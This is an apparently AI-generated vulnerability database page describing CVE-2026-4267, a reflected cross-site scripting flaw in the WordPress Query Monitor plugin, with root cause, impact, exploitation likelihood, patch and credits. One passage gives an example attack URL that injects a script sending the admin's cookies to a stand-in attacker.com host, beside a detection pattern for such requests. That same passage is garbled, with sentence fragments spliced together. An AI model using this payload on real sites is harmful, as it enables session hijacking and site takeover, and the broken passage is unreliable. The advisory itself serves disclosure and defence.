
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-4267 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Query Monitor plugin for WordPress, affecting all versions up to and including 3.20.3. The flaw exists in the handling of the $_SERVER['REQUEST_URI'] parameter, which is insufficiently sanitized before being rendered in admin pages. It was disclosed on March 19, 2026, via a GitHub Security Advisory, with NVD publication on March 31, 2026. The CVSS v3.1 base score is 6.1 (Moderate) per the GitHub Advisory, though Feedly/Wordfence report a score of 7.2 (GitHub Advisory, EUVD).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically CWE-80 (Improper Neutralization of Script-Related HTML Tags). On admin requests, the plugin reads attacker-controlled data from $_SERVER['REQUEST_URI'] and stores it in the request field; it then renders request, matched_query, and query_string through the format_url() function in output/html/request.php (lines 60 and 70). Critically, if the attacker-supplied string does not contain an ampersand (&), format_url() returns the value without HTML escaping, allowing injected HTML or JavaScript to be inserted directly into the page inside a <code> element and executed in the victim's browser (GitHub Advisory).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of an Administrator-level WordPress user who is tricked into clicking a crafted link. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. The scope is changed, meaning the impact extends beyond the vulnerable component to the victim's browser session (GitHub Advisory).
No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.043–0.065%, placing it in a low exploitation probability tier. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering — specifically, tricking an authenticated Administrator into clicking a malicious link — which raises the practical bar for attackers (GitHub Advisory).
& character to bypass the format_url() escaping check. Example: https://target.com/wp-admin/index.php/<script>document.location='https://attacker.com/steal?c='+document.cookie</script>REQUEST_URI, passes it through format_url() without HTML escaping, and renders the injected script inside a <code> element in the admin page./wp-admin/ paths with URL-encoded script tags or HTML entities (e.g., %3Cscript%3E, <script>) embedded in the request URI.The vulnerability is patched in Query Monitor version 3.20.4. All users should update the plugin immediately via the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository. No configuration-based workaround is available; upgrading is the only reliable remediation. As a defense-in-depth measure, administrators should avoid clicking unsolicited links while logged into the WordPress admin panel and consider implementing a Content Security Policy (CSP) header (GitHub Advisory).
The vulnerability was responsibly disclosed by Dmitrii Ignatyev of CleanTalk and credited in the official GitHub Security Advisory. RedPacketSecurity published a CVE alert and shared it on Mastodon, generating minor community awareness. INCIBE (Spain's national cybersecurity agency) also published an early warning. Overall community reaction has been low-key, consistent with the moderate severity and social-engineering requirement for exploitation (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."